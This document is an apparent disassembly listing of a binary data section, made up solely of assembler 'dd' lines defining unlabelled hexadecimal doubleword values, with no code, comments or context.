		dd 94A0FBBh, 0FC442330h, 0BA9794C4h, 4CC133B0h,	730F2479h
		dd 0FD93CF89h, 38DC026Ah, 0DC5DEF21h, 60851F23h, 207E6813h
		dd 0E93C68ABh, 0DAFDF05Fh, 0C2BAF10Eh, 99B02Ah,	6BA706A4h
		dd 224A60E9h, 81FE73h, 0CDC2B290h, 1AEEE956h, 988B64B5h
		dd 57B7602Dh, 0F46091EFh, 6087165Eh, 0CD0C5D30h, 0DE7FC20h
		dd 368028D1h, 0BB5420B6h, 24B6B93Fh, 0FB2F3B01h, 92D7A71Ch
		dd 0C14FDD62h, 4453B193h, 5C13DAAh, 0CDD607CEh,	0EF2CE438h
		dd 13EA2834h, 6BCAEE6Ch, 0D83EF505h, 0BF910047h, 513B4A12h
		dd 7827BAC1h, 0B57F72F7h, 0D3873EA3h, 6800D644h, 7A9D259Eh
		dd 54FA585Fh, 84006674h, 0D530564h, 893A78B9h, 3AFD8028h
		dd 7D2555CAh, 6A59030Bh, 490A792Dh, 2E38E9A9h, 0FEBF4D00h
		dd 5F293A5Fh, 9133BA4Fh, 0A448D9F7h, 61ED9830h,	0F1802EA6h
		dd 0E0C1CC1Dh, 2A842EE1h, 0E493A2AFh, 698F91C2h, 0E8C8C507h
		dd 93B1BB50h, 32D8EB2Dh, 69A79D95h, 0EF5472C2h,	0D46EA077h
		dd 0BA557241h, 22F0306Eh, 3A13EA79h, 5D251613h,	0F4C574BFh
		dd 0DA9D0535h, 0E8E924DAh, 988DAA5Dh, 589F2483h, 0DA210BA6h
		dd 3B8510E8h, 0F330792Dh, 80250058h, 2D224C01h,	0B1485A0Ah
		dd 51C8D63h, 0A90B4441h, 58E52935h, 6D1BC82Fh, 4896697h
		dd 77162041h, 1F8EBF5Dh, 8F250C5Ah, 0B20052DFh,	39E280C7h
		dd 129DB353h, 8403E3C0h, 5404FA26h, 6609B7F2h, 54D532FDh
		dd 9E194398h, 65ED8500h, 0C1273B30h, 26067EE5h,	89CAAFA5h
		dd 53A15EF3h, 2857FF68h, 7C02C9F0h, 64FFEBB8h, 20DD31CBh
		dd 7370B21Fh, 2EFDD367h, 0FC91AE92h, 0B823AA4Ch, 7B8FAC5Ah
		dd 9AA06120h, 0D9C30B6Fh, 0D258CC13h, 1C3043E0h, 0B3C40C6Bh
		dd 68170BE1h, 0C666624Ch, 13989520h, 4966CDFEh,	0E0A52892h
		dd 2AC5EAC7h, 2B8E79AAh, 0ABA5E9B2h, 9567322Ch,	0E0367809h
		dd 0C55E97Dh, 98256084h, 30DC6BDh, 7705DCB9h, 0A8F15209h
		dd 2A2BA86Ch, 0BBF6314Fh, 8E04874Ch, 152D041h, 33B444D3h
		dd 180B0CBEh, 4F7809E8h, 910CA84Fh, 41FA5657h, 7D713B59h
		dd 24068ADCh, 663A2525h, 2D7832DAh, 52F7E829h, 34B5177Bh
		dd 538FE030h, 0C02FA441h, 4340A3E7h, 7EFF557Ch,	76B7BB12h
		dd 0E9B0075Ch, 27B479AAh, 9C59E95Bh, 85A3272Bh,	8991BBD5h
		dd 0D1E101C5h, 0C405A25h, 604E15F6h, 5AE60C48h,	55800485h
		dd 29C02813h, 0ACA42CCFh
		dd 0DD8901DDh, 89DB82E9h, 0AF9D8E69h, 1727613Ah, 8AEC4D73h
		dd 69A3BF7Ch, 224CF031h, 282C7D05h, 836962BAh, 0F84261ADh
		dd 61F58166h, 23E90D65h, 34BB506Bh, 0C54B88A3h,	9D0E0846h
		dd 9054A35Dh, 0B0584360h, 4F513190h, 0D8F5C2D5h, 0CCF6C031h
		dd 54AAA34Fh, 842028A6h, 648D2951h, 50EA8E1Eh, 46E91549h
		dd 51522DF4h, 0EAE9613Bh, 0F631021Bh, 0E28A432Fh, 0AAC142Ch
		dd 57AD0C09h, 1475799Ah, 60A290D0h, 30B8CD65h, 3D5A8F28h
		dd 9A3C0CEDh, 2A91B3DBh, 501E998h, 68807D99h, 4E30920Dh
		dd 1F407639h, 0EF611A9Dh, 7670A0F0h, 6F31F49Fh,	92E82D7Fh
		dd 301840F2h, 6EC4132h,	0DE122EB4h, 0EFACBF08h,	0A04578F7h
		dd 9B95180h, 4C135FAAh,	8C96688Eh, 329CCCFEh, 977E0924h
		dd 32E9A398h, 0B9054F92h, 6C755ED4h, 0C50E82h, 111667BDh
		dd 3D13E4Ch, 53905B08h,	0CD5C02D1h, 35807509h, 0A71AE30Fh
		dd 530C0513h, 90DA3DCh,	8F79C083h, 0EE06D9Eh, 2DD00159h
		dd 19D71262h, 0D9EF06C0h, 0D82E5881h, 0EB3280F4h, 0FF060672h
		dd 7EB6170h, 0FF0966B5h, 0CAF7676h, 6956F758h, 0DBA06376h
		dd 40A95FA6h, 0E4F28281h, 6A649C1Bh, 58070432h,	0F7BFC1BFh
		dd 7E04A8DAh, 0B81E6354h, 0BC44030Fh, 9087A476h, 11003799h
		dd 0C4AD39D8h, 728ACCh,	0B13C02BFh, 0FE892466h,	22AC13E6h
		dd 2F5DC370h, 0DD918569h, 12EDF2EAh, 4040CB76h,	1EB604A0h
		dd 7DAD029h, 5E8ACC4Bh,	0C494D99Dh, 0AEA7AA8Fh,	0BD8CE90Ch
		dd 729D056Ah, 3F77915Eh, 2AA4A929h, 614FA08Ch, 6D0E2474h
		dd 0C7283C58h, 5083C308h, 0DBAFE954h, 757A8176h, 31E2B173h
		dd 99E866CBh, 30E40BBFh, 30C99179h, 2D525019h, 0E0665355h
		dd 545BDD25h, 0AD093F8h, 0A8BAC6F3h, 0D4A17FDh,	10E4A902h
		dd 593F2438h, 8A2EAE4Fh, 21F18113h, 0ACA4E920h,	711985FDh
		dd 63DAAE06h, 1D93F159h, 0E46A7F35h, 76021E22h,	895518D9h
		dd 54E25FD5h, 76C27074h, 52ED565Fh, 195DE842h, 272C8953h
		dd 5DFB2Fh, 0D06AA3E1h,	3CBD0F0Ah, 0AB53A2DBh, 96E94520h
		dd 8649DB27h, 454A33B8h, 7D14E4C1h, 0D68E521Ah,	0D2901C9h
		dd 4746CD68h, 0C5DE230h, 344D8369h, 0AECC0152h,	0F4D23EA0h
		dd 82516814h, 77F82F2Bh, 2C5C6813h, 0CC1052A3h,	2AE90B57h
		dd 0DE82FAECh, 0A40B8FFFh, 715ED65Eh, 36645FDh,	99AE035Ah
		dd 4111444Bh, 2386B00Bh, 0E96700A8h, 55B78FECh,	0B5E0B674h
		dd 83A4B47Ah, 5C76DE0Ch, 9A16F0F3h, 0A1B37F2Dh,	3754C000h
		dd 5BB7E92Bh, 644F92B9h, 0F2F4A473h, 68E10FCDh,	169D2725h
		dd 0B38EFBC8h, 1CCA9818h, 60B022Dh, 0DF5D5B3Ah,	0D255296Ah
		dd 99A425BFh, 5BD69475h, 0BE4B070Dh, 28631341h,	42F9CA06h
		dd 100C7491h, 30A3D67h,	863B43CEh, 26187D50h, 0FD9AB75h
		dd 0FE8031EEh, 0DB1DE965h, 420E5C95h, 0B35D4B33h, 658D199h
		dd 5D328363h, 47D42195h, 5FE9C158h, 0F108B80Ah,	416A0D8Ch
		dd 7F1C505Ah, 0EEB2EC43h, 4609CAA4h, 74429806h,	0DBAC3395h
		dd 2BC844D1h, 0CA38FEA1h, 4B4BAC97h, 12A539B8h,	0F643AF3Ah
		dd 5EE3FBE9h, 0EF46AAE0h, 381098F7h, 0ECCF1368h, 7080B449h
		dd 17697286h, 2CF0168h,	0EC7E6391h, 5031CD83h, 0C4872741h
		dd 7F48A421h, 0CE693920h, 1B1F7E8Ch, 40434563h,	0EEB855Eh
		dd 869C14Ah, 4C8A3C80h,	62B573F1h, 0CF480h, 59BD5E0Bh
		dd 93192F05h, 1D763117h, 9402377Ah, 6F0AB116h, 96E6BB01h
		dd 1221E82Bh, 0B88B77DAh, 1CF4657Fh, 0C00CF0D1h, 867807E1h
		dd 8DAF634h, 363F92FAh,	9D31D455h, 0EACEBF48h, 3DC57644h
		dd 990C74ABh, 0C7672454h, 0DC60273Eh, 400748E5h, 25A8808h
		dd 0B17EE7E1h, 75987E33h, 5A1840AAh, 0D55C19CBh, 0E92A7864h
		dd 83BCDC1Bh, 0DE72CAE9h, 0D1620404h, 40050009h, 2F2F1557h
		dd 5AC1E8C1h, 309FC54Ah, 7613ED0Dh, 20405379h, 3F8F2562h
		dd 0A70935E9h, 0BF99EA66h, 9582CFF0h, 4071404Ah, 28DDEB00h
		dd 96290EBBh, 990820FCh, 0E9556150h, 0A8F53E1Eh, 8101776Ch
		dd 4138E7CBh, 0D64DFC34h, 0F690EA95h, 0B3BC13A2h, 0E0FF50D1h
		dd 0BC935C97h, 0A30BBB17h, 4F514FDh, 64428618h,	4D60B7C5h
		dd 0A186FC7h, 0FD0C67D0h, 76732879h, 17C97D8Dh,	0E40174BBh
		dd 671BD7E7h, 0C7126CCDh, 0C83708BAh, 0E2CC0A94h, 0D7BF7357h
		dd 893CFBE7h, 0C1A344D9h, 4362E37Ch, 612A5C36h,	0C13B2147h
		dd 3B069C8Dh, 8184AEB2h, 2ABA1755h, 0B50860EEh,	64ED806Bh
		dd 0FEF00654h, 0BBF0B13h, 4894D531h, 42AF6391h,	0B107806Bh
		dd 9D013418h, 0E74B6848h, 89FECB2Dh, 29EE5FD3h,	0D907A90h
		dd 789AAB20h, 725F53h, 0DCF65A00h, 9570EC80h, 4258E62Ch
		dd 0EE33E713h, 26302D59h, 0B6521C03h, 20F588F9h, 215A5595h
		dd 0F8E1C7D1h, 5B795C34h, 0FB8ACD28h, 6DF5A182h, 6930C13h
		dd 0B70FEDF9h, 6428A314h, 61FB9544h, 28777D0Fh,	39C8CCCBh
		dd 5FD6EC57h, 0AA9E2CCDh, 9D8C205Fh, 537F4043h,	95D3F298h
		dd 91EEE912h, 87731757h, 0EE6EF58Fh, 28B254D7h,	0FCE578Dh
		dd 0F227D495h, 68120458h, 7FCC53A1h, 0FCFC5F9Eh, 90EED78Fh
		dd 7C29BE1Fh, 36B04075h, 7F57550Eh, 0EBF6C06Eh,	90C3C9F9h
		dd 5DD40286h, 0EE09278Dh, 49FDCE01h, 182B13D9h,	0BA63C9Eh
		dd 0C40BA34h, 7CF6088Ch, 20B82D9Fh, 2DCA9F20h, 75957011h
		dd 0C04AA32h, 0AB61AB5Eh, 146DD7E9h, 3E35C202h,	2BF865A1h
		dd 3808EA51h, 0B4A2D6AAh, 16C8AFD7h, 0A23B4FBDh, 95781339h
		dd 15418BABh, 11EA602Dh, 0B44043E1h, 0AAA94AB7h, 75B03EC2h
		dd 0CFFEC140h, 6E1FE913h, 0B0F83F35h, 31614830h, 0DEB75DEBh
		dd 4DE1051Ch, 0F86EC11Eh, 0FFB2205Fh, 9FC5C25Eh, 0C7F8C3FBh
		dd 6A1DC3B9h, 37CE95B3h, 0C5047B50h, 92650147h,	55DCDC0h
		dd 0C9C70238h, 0AA69E9C6h, 708D02D1h, 2A80A33Fh, 9721EFBAh
		dd 0AFA04253h, 872D3CF7h, 2E29DDF6h, 485C2709h,	95187527h
		dd 7FC7D697h, 4BD2A9E5h, 7C64D51Dh, 0DEF7FB38h,	805A69F9h
		dd 56C9E937h, 0E81C4BD2h, 6FD31CCh, 0E906A9EFh,	14A1CD03h
		dd 0D1B27EE1h, 303A2748h, 13581267h, 4E16B2Dh, 0DED49A0Dh
		dd 2038F518h, 18CC948Bh, 130D32BEh, 0F2F22106h,	0E2819DEAh
		dd 18066FDCh, 0BF65A07Eh, 136E5B02h, 5DD7DDE9h,	80108C91h
		dd 42DCBEF7h, 954E1FECh, 6E63082h, 7858B442h, 0E00CBF07h
		dd 0F1A2621Ah, 425B7939h, 69FE9514h, 10BFC8C9h,	0FC7CBDE5h
		dd 0E8AB5E64h, 91E984CAh, 13EDEB9h, 9F07F25Eh, 2834BF07h
		dd 72EFC54Fh, 0B352D781h, 2DBE72Fh, 0EA8094B2h,	0E4E97EB4h
		dd 9586040Ch, 2C681E8Ch, 0C7AE576Fh, 13CF9C34h,	109F094h
		dd 2BAA80DDh, 953D7D5Fh, 80151275h, 5945D672h, 0FE509F0Dh
		dd 780EE10Eh, 0F801327Ch, 5F496DE9h, 5A9A8F20h,	1734B828h
		dd 9E4992Bh, 0EF860947h, 0BEF489F2h, 0AB0C9883h, 0FB4C0321h
		dd 0C139496Ah, 120B06B3h, 57EA18B6h, 1CCDE280h,	62BD7E94h
		dd 0D8706A3Ah, 123E9D55h, 6AAE94Fh, 74EF299Ah, 44AD094Eh
		dd 643D05D6h, 715897B4h, 93C8295Ah, 0FEA43916h,	20936044h
		dd 0FB71B62Dh, 6573267Fh, 45DDC2E1h, 0F780872Dh, 0ECF8045Fh
		dd 63E08D33h, 0C04866Fh, 0A84AB42Ch, 0CCFE0Bh, 0E530FDAAh
		dd 98517958h, 860162B8h, 8A09D3E3h, 0B40AC5E1h,	7169EDE2h
		dd 92E650B6h, 4484B2B4h, 0F4C0320Fh, 2A6106C9h,	2FBA6F19h
		dd 9D277AE9h, 9A52A0EAh
		dd 4AF85671h, 4A7BA559h, 4E061DBDh, 8C55327Ch, 2D5BA440h
		dd 1841EA88h, 0F20684FFh, 0C282CAFEh, 0A4CF90E4h, 27FD1F58h
		dd 0E8291241h, 17E84AD6h, 0AE21BFB5h, 188B4912h, 9D84C35Ch
		dd 0A4B6AA92h, 4F518F4Fh, 0A16C054Bh, 43FA6893h, 8D4C8123h
		dd 0E320E704h, 7EC532h,	2170CD3Bh, 0F29019E1h, 9DFDFC4Ch
		dd 13C908CEh, 1247CBABh, 5BAC9236h, 1A5F81F7h, 0CECD403Bh
		dd 181AF61Bh, 0C029F2E9h, 1268962Ah, 0AB015AE7h, 0D0E15DCDh
		dd 68CA0F32h, 295F0918h, 0FDE94E48h, 8BB2CE4Bh,	38A93558h
		dd 0B84D0B3Eh, 517D5013h, 0BC3A08EAh, 0CC08696Bh, 49282DDAh
		dd 0BA276746h, 0D4125D91h, 0F1F5C87Dh, 98A3026Ch, 628FE99Fh
		dd 2AB4A2FFh, 627DF637h, 7B517C5Ah, 0E807592Dh,	2CAD40A5h
		dd 0E68019F1h, 0F320439h, 0F8446068h, 0AE8BC44Eh, 0FDB0B00h
		dd 9B73C85h, 225B5583h,	788B22E9h, 0C11A2243h, 2F4F5652h
		dd 792A47E1h, 88DD6EBBh, 4AB3CB6Bh, 0DE69262Ch,	54F2C3A5h
		dd 1912A72h, 5193F4D5h,	0A106C4BFh, 2B81864Ah, 739A4E1h
		dd 3BE307Dh, 0C359AEFCh, 48A8006Fh, 0EE811B2Fh,	4A2C2CC0h
		dd 0ADCEBEE0h, 0F2FBE4EBh, 0D23D52E4h, 826D9BFh, 0E9FE5724h
		dd 44D71B27h, 0EC9620D0h, 82F3892Ch, 3E4AFA39h,	815D6A80h
		dd 727916E6h, 6FB304ACh, 0C4E2A8D4h, 0F340A58Ch, 70B869C4h
		dd 844BDBF6h, 0D8EE7875h, 584B86C2h, 0C3A769ACh, 0CB2C898Eh
		dd 9D0351E0h, 3B55EB5Ch, 7C18DFC4h, 46880C62h, 58C8985Ch
		dd 49A85FECh, 3A06E9E1h, 8276B8ADh, 66C69B60h, 0B312D026h
		dd 5EB0BD02h, 0BD7DC98h, 62F760E9h, 16860943h, 9734B014h
		dd 38BBB2C0h, 7AE24158h, 4FE17759h, 0E36E13A1h,	559576CCh
		dd 50525C94h, 861650D2h, 30A641h, 0BA5CD68Fh, 316851DCh
		dd 0ED270E02h, 3C472F1h, 2A051CF2h, 6AD5E260h, 0FA365C2Dh
		dd 0A06571D5h, 418841BAh, 32DFC03Eh, 0F4ED9EDCh, 0C8E045BEh
		dd 0CD4055A0h, 53D00431h, 0F828EE68h, 784DC035h, 0E45E5039h
		dd 27173DB8h, 0E64226h,	46707959h, 0E61DF581h, 0E98BCE0Ch
		dd 0B55650E1h, 5904D0D3h, 8EBF3C87h, 341100ACh,	0D1E90248h
		dd 9AF0B269h, 0E02BE991h, 8B4C62D2h, 61A881DFh,	803B6383h
		dd 1EF24F4Ah, 6A01E3ECh, 0E9439673h, 24346B7Ch,	0A6ED3080h
		dd 0EE880306h, 0D8406FB0h, 0B53616B0h, 502BCBEh, 4C865166h
		dd 0D1F600C1h, 7EE90640h, 4CED2B9h, 0AEEBA4Ah, 0D6EEEC5Fh
		dd 2256A061h, 0CC3B8205h, 6A1C3BC6h, 8182ED3Eh,	763107EBh
		dd 80260B66h, 0C89FE5C4h, 0DD9CF13Eh, 8C1F8B6Bh, 0D381BC5Ch
		dd 5D183167h, 4A88221h,	372309AEh, 68D86086h, 25D2F4B7h
		dd 0ECBF39E5h, 0EEC87164h, 2FF0926Bh, 4FDE6FB7h, 0F6A4E703h
		dd 0C1EFA9DFh, 0E06DC4E0h, 0EB96B8FCh, 1EF4A940h, 28AB02B2h
		dd 9146E9E2h, 0A7C5D95Dh, 8A0062FEh, 817BB769h,	6ADC0BE9h
		dd 54003D64h, 212223B2h, 0EF825DB2h, 698D6AC0h,	4A8B149Eh
		dd 0E47A3058h, 0C0BB80ECh, 764F4617h, 48316CB8h, 68D329D7h
		dd 0D102090Ah, 0B40600EBh, 905B710h, 0B6D7E951h, 1524CF5h
		dd 544ABE56h, 84525D01h, 5827B1B0h, 96B386FFh, 3B008D8h
		dd 0DCA6148Ch, 3104D089h, 0E86DE9D6h, 0D488033Fh, 0D296B35Ah
		dd 9E5850h, 0BA244DB8h,	6E0C161h, 818D54B7h, 3E5D67B9h
		dd 4A26603Fh, 0D0ED3A3Ch, 3B28E5E0h, 0D8648486h, 7AA205ADh
		dd 0B640DB16h, 0BCB5165Eh, 1752B135h, 0A88421B9h, 85891F2Ah
		dd 9503F42Fh, 7F1A9DC3h, 0B15C30BEh, 4556500Fh,	33319818h
		dd 2681B22Ah, 127D42BDh, 0F0882158h, 0A99F6B5Bh, 55B3C269h
		dd 81A850C7h, 0AD17AD4Fh, 2F657DEAh, 6C9FBB41h,	907042ABh
		dd 6D60026Ah, 0E2ECE93Dh, 0BF2BE4D5h, 0E9C1BED1h, 6182935Fh
		dd 0EB9FFBC6h, 2F3FE9C0h, 0B4F2494h, 99C5E368h,	54C9D22Ch
		dd 81FC7A45h, 0C6AD2AA9h, 7938F2D4h, 0E4CEFC5Bh, 0DD019212h
		dd 3D7013A3h, 20155B4Ah, 0D39E205Eh, 843C50F4h,	3F331803h
		dd 0C4B4010Dh, 0DA084225h, 0B3895D5Bh, 4C2FEE2h, 48FE3F5h
		dd 472E6D28h, 0B8968269h, 6F7155h, 1F2822F2h, 5909E581h
		dd 262CE5Dh, 6413AE40h,	0A48585D9h, 45AA02FAh, 0CA638A3Bh
		dd 27A7558h, 0F47DDE54h, 0D8247521h, 4B0E13D8h,	0ED29D865h
		dd 0AC741E5Dh, 0C097D232h, 3E685CCEh, 0C10889B1h, 4F3831D6h
		dd 0D5CA06DCh, 8933F681h, 0AE9DF7F6h, 5C1347A0h, 73168762h
		dd 0BA3FCC08h, 7DDCC2B7h, 0D3645751h, 4A5527B4h, 5B4AE738h
		dd 2B6829FEh, 17C521A7h, 6F41B39Ah, 11DF664Eh, 3F050916h
		dd 68025022h, 0A57A9607h, 5341AD0Ah, 0F402F509h, 0F84D0672h
		dd 7A5C2FF8h, 0FB786A09h, 13B9D04Ch, 0EB5035C1h, 0DA015128h
		dd 0F52723D4h, 8B7F261Bh, 1113B4Dh, 0BA6CA81h, 70836F94h
		dd 45EE12B3h, 79CFC806h, 3A0C01F1h, 0CCC3E53h, 0E61B2A16h
		dd 0D5731382h, 4AC31F55h, 5C183CEFh, 0A4E2FA9Ch, 0A32E7F09h
		dd 7C5C27E9h, 0D2421D21h, 40CFA20Ch, 1E735D8Bh,	89A7F2Fh
		dd 62DBDC55h, 13548BCAh, 144C3D0Ch, 54F0068h, 0C15F182Dh
		dd 419807E7h, 3E54CD0Ch, 13D40C25h, 0C0D3031Bh,	693CE995h
		dd 0D17133BFh, 4F837CD4h, 0F88205Eh, 0FEE5C5D3h, 0F92E0A39h
		dd 0FDE9D6FFh, 0FA63F213h, 9CFE1734h, 0B84AA2A8h, 689A9CEAh
		dd 23555731h, 5902DDDAh, 7625D0DDh, 45F697CBh, 7CC5EB6Eh
		dd 149A832Bh, 0C9D14348h, 3A1D219Ch, 0EE279FE0h, 0E9910942h
		dd 0EE48D54Eh, 7306318Dh, 89F2814Ah, 0ABE2970Dh, 2645ECF7h
		dd 0AFA423AEh, 0C7A6358h, 772CD637h, 2B4EB760h,	0D0F9FE50h
		dd 0D36B086Eh, 4942B15Eh, 60E75C25h, 55C44650h,	0FB00587Ch
		dd 54ADC29h, 10AE67C7h,	6E2D4803h, 14EBA002h, 28311BB8h
		dd 9C358C6h, 50E17C34h,	22D74B80h, 18C06F19h, 39B4772Ah
		dd 0E9F21629h, 0BAEBC0E8h, 303D9F99h, 0A1B124DDh, 6CBDD9AFh
		dd 0AA2FE9FBh, 450F189Bh, 0F84A8178h, 0A5976C74h, 91BAEA85h
		dd 70FA2917h, 5CDD9A81h, 0B2DF0C0h, 9D664119h, 0E98FFEE5h
		dd 71FE3261h, 8255FD29h, 0CE1E9F50h, 496A7173h,	8F7A2057h
		dd 2DBB0E71h, 0E4D3FD89h, 7840ED01h, 0B3701627h, 88899F54h
		dd 0B0BFBEF5h, 17C92E95h, 0E6810E5Dh, 2E0F1FA0h, 0D69A31E9h
		dd 504DBA04h, 1DC00CB4h, 5F69CDBFh, 1A8AC24Bh, 0D95FDEEAh
		dd 80DC9302h, 580EB8F4h, 95A8A16h, 70F37480h, 42A1041Ch
		dd 0F3D247E9h, 0DABBD701h, 0E94A617Ah, 0BD29DE7Ch, 0BA075705h
		dd 0BD0F872h, 51159168h, 0C9E889Ch, 5E25002Ch, 315359ADh
		dd 0B00B6FB0h, 5A58FC5Bh, 5688287Ch, 12C92425h,	3A52E1F5h
		dd 4610D89Ah, 16FA4B1Bh, 6598098Ah, 0B878C5F8h,	5BA04712h
		dd 6F4CE5AAh, 55C1F5ACh, 2F275F68h, 0A0541833h,	4BD6718h
		dd 0AA1D7A92h, 0E9048829h, 797EB827h, 0FE84C9CEh, 0EE3CD4DEh
		dd 413BB5C8h, 0D002409Dh, 765C0A02h, 5003002Fh,	5E3170B8h
		dd 73BE922Ch, 68FF1383h, 0FF93533Ch, 1D1D0665h,	505726DCh
		dd 0E99078BAh, 57914A25h, 0B56F3A9h, 573C1571h,	58054002h
		dd 6468502Ah, 18BF8F71h, 8070413Bh, 16059A35h, 0C2017DADh
		dd 47A5B316h, 2E37013Ah, 39083102h, 8EBF92EFh, 209C4B81h
		dd 6B53970Ch, 0AC50E924h, 4C83828Eh, 0DF4AFB2Bh, 9ED8ABAh
		dd 8008EEC1h, 0A202F258h, 0FC60905Eh, 48641251h, 7947FF21h
		dd 0CA30F7B1h, 27E9FE87h, 9655CF75h, 525A5257h,	9395E909h
		dd 9C484EC8h, 844312B7h
		dd 9AEA548Bh, 0C83308Ah, 0B7F4F8E9h, 35680DA2h,	0F768837Eh
		dd 0C179E98Bh, 53D84BEDh, 0EF00968Dh, 0B98EE064h, 4B61841Dh
		dd 0E0F0B857h, 9D8CC9E9h, 0F6ADF67Eh, 0C7AB4FF4h, 31C0B4E2h
		dd 5F81672Eh, 7D9BE47Ah, 2D7F7316h, 87E95191h, 0EAEC127Eh
		dd 42678129h, 3883E909h, 56D94CC9h, 0A181EDDDh,	46163BC7h
		dd 914BE8A6h, 6FEFBB3Ah, 0F8FDAD57h, 0ED08F04Ah, 1051F40h
		dd 658D498Eh, 3E422968h, 75CDF78Ch, 0F8E0BF18h,	0DB3B01CAh
		dd 2CE2035Ch, 1C23AC5Fh, 560392BCh, 246FAFDh, 1D9088Ah
		dd 691F9FEEh, 44C62921h, 0C081AA4h, 51B1E875h, 0CDD19DB9h
		dd 0C050E3Eh, 0CE296607h, 59088144h, 568C1E82h,	0AE56607Bh
		dd 0C3BAA59h, 80984A92h, 9713A09h, 58957E52h, 534E1F68h
		dd 41D9328Ch, 0A6736040h, 480E6652h, 24A74E13h,	0B5C4076Fh
		dd 0D7A9FD44h, 0F96F27A1h, 7FEE8515h, 0CB28E421h, 0CA501233h
		dd 0E7D9211h, 4FDC6866h, 8CC57F9Bh, 63FF02C2h, 0E3844EA8h
		dd 9BBDFF0h, 79882CADh,	0BA11A284h, 5C270C2Eh, 51007D44h
		dd 0C1050F28h, 30E908E7h, 0ED37986Eh, 0B63B679Dh, 0AEF50060h
		dd 0E937DF18h, 5BA25BA5h, 0F6F804FCh, 62285220h, 373B870Bh
		dd 490F2C01h, 0FBF26A13h, 0AD3D2D97h, 0B7DB4614h, 3D2C5359h
		dd 0D145700Bh, 2F6C828Fh, 0B1406555h, 50441FFh,	75C0E90Bh
		dd 0C6F088AAh, 88E799Dh, 572522DFh, 0BB492FECh,	0B9BE027Ch
		dd 4037A710h, 7F1C2998h, 2771E3B1h, 0CE05E432h,	8749D571h
		dd 0BF4DE57Dh, 2F39330h, 0EA414BD7h, 0F6F0838h,	49510601h
		dd 0F4E6E9A0h, 0A0EA729Ah, 1237C64Eh, 0F9F0AE3h, 2CED8036h
		dd 0EB967F05h, 8D4C6B5Ch, 4067EAC9h, 0B60A357Eh, 934EF26Ah
		dd 0B1545B00h, 0B709E944h, 4822FF4h, 764E3608h,	0FAA53E8Dh
		dd 488561E0h, 546D0D2Ch, 73488710h, 68048420h, 0D7C3F28h
		dd 0BEEBF9C1h, 3C086FECh, 0E9895953h, 14573597h, 0E7FEB7E0h
		dd 0DE5EF189h, 2DF26EEh, 1C986B17h, 75D1642h, 0A9CEFCD3h
		dd 0D3C570C0h, 4698E018h, 0B53B1EC0h, 2EE9E193h, 8B7CC7EFh
		dd 8F50D9F7h, 0A32B8E0Bh, 688A407Fh, 0BF33623Ah, 3B5A14C7h
		dd 6D1FC404h, 0CBAF01D0h, 61212FD6h, 81092CBBh,	740BBEC8h
		dd 928769B7h, 4094BA52h, 0D6319C63h, 0F46B2699h, 0D5260817h
		dd 2315E0Bh, 5B02788h, 0BD6CC25Ch, 61FC154Ah, 0DE86F05h
		dd 160464AAh, 0C094210Bh, 70C25195h, 50713A2Eh,	0CD6A83F8h
		dd 0A1357A17h, 17C8E8E4h, 9271D668h, 917793F4h,	8846B26h
		dd 0A31FD468h, 8C991043h, 8EC3800Bh, 99D56EF7h,	1FF10977h
		dd 0D078DD56h, 53EC1635h, 52861FDEh, 0E16E66D9h, 0C40832B5h
		dd 0D78D630Dh, 0D5E190BAh, 0FC77E53h, 0D1D08E80h, 0DA292EC4h
		dd 8B1021h, 852F26BFh, 0B57C014Dh, 8989E671h, 9E98F718h
		dd 0A02E67EDh, 0C3A0FC43h, 0A14E3709h, 820757Ch, 835EB1CCh
		dd 0C018E918h, 953C77B3h, 0E0126BDBh, 0B1D26C5h, 2BBE3644h
		dd 20C292FFh, 644F33D9h, 0BC112CCFh, 0F52C41Dh,	10A5B9B1h
		dd 8677B8C5h, 76675D57h, 9F01FE5Fh, 0AEBD6300h,	20273274h
		dd 0E6E46031h, 0D92E03C9h, 0FD3EE942h, 0E588900Eh, 4AD76F53h
		dd 78A7A314h, 4A042015h, 755D5427h, 4FA0FB14h, 0C1E1D106h
		dd 0D2B83B01h, 0F8E5D9CFh, 8B080102h, 0E357E069h, 85AD294Bh
		dd 0F44B514Dh, 0D24EEEBFh, 0FBD38BFh, 0C2D8AEABh, 7E78388Dh
		dd 9BF9FF6h, 2167FF72h,	774FCC89h, 0ECD9D9BBh, 0EA4A6A9Fh
		dd 73AFDA7Bh, 29EA4CD1h, 0A0479A40h, 3B5786FAh,	0EF270DEEh
		dd 1326AA76h, 1724400Eh, 682760FFh, 9BAC4F80h, 3920BEB0h
		dd 0F17D98A2h, 0C00B99C0h, 0EBA31D0Ch, 0F54B3149h, 1210B7F7h
		dd 1BB05B2Fh, 0F851B72Ah, 0B09DE68Bh, 62A9680Bh, 42FE3918h
		dd 0C4E4770Fh, 0F3EB6040h, 0E1768FC9h, 0B8774E7Bh, 63697695h
		dd 4510389Fh, 5A3B58CFh, 31934F70h, 87B62923h, 8E3C139h
		dd 2D07DF4Bh, 0A7749915h, 5DCC0D09h, 5325A464h,	8E2271B1h
		dd 251CCAD0h, 680942EFh, 8B30FD14h, 8723381h, 6414FC9Fh
		dd 5004EFF0h, 0B2074A78h, 0A0AC753Bh, 0F21268B3h, 0C0EFCE4Dh
		dd 95093DE1h, 0BAF4405Eh, 0C6BB2E47h, 709B0864h, 0DC46660Ch
		dd 0F60540E6h, 0E92B2404h, 8BBF585Fh, 4811515Fh, 97C420F5h
		dd 9EAFFA01h, 0E9E7618Eh, 0B26AB3A2h, 21E9A0ACh, 9551B786h
		dd 9BFF6025h, 0C131C002h, 70CF1E38h, 94D32CFDh,	8FAB1077h
		dd 80C3011Bh, 17A24DD3h, 5F6E1A75h, 79243B79h, 33D7531Ch
		dd 9962DD04h, 40166802h, 0EC63B456h, 0F2AB8515h, 0B85AD944h
		dd 0E043E56Fh, 0A924E9C1h, 7E6B0A94h, 1EDB2DA4h, 2C45582Dh
		dd 0C503B48Bh, 0DB4FE5Bh, 0C4EF5BD1h, 17910025h, 29CEEDE5h
		dd 5B0983B6h, 0CB8D566h, 6FB0B70Fh, 5722F32Ah, 806DE916h
		dd 1ECF61BBh, 70D03BBDh, 1F334CF2h, 4AF82976h, 0BFFC1746h
		dd 4DF344DBh, 58E2EF80h, 40B997DFh, 43A2B8C1h, 0F29F6953h
		dd 16F44BE9h, 0A63CEEB2h, 6B0201B8h, 4CE97F69h,	301A9332h
		dd 0DBAB9506h, 68E5123Bh, 0DF15FC4h, 7F0A822Bh,	55C04DFCh
		dd 0DA478568h, 78B9394Dh, 3211782Fh, 0F4FB0012h, 0B0076A3Ch
		dd 3B1DE816h, 0CE1D01ADh, 184D8B87h, 50B38Bh, 82351C0Bh
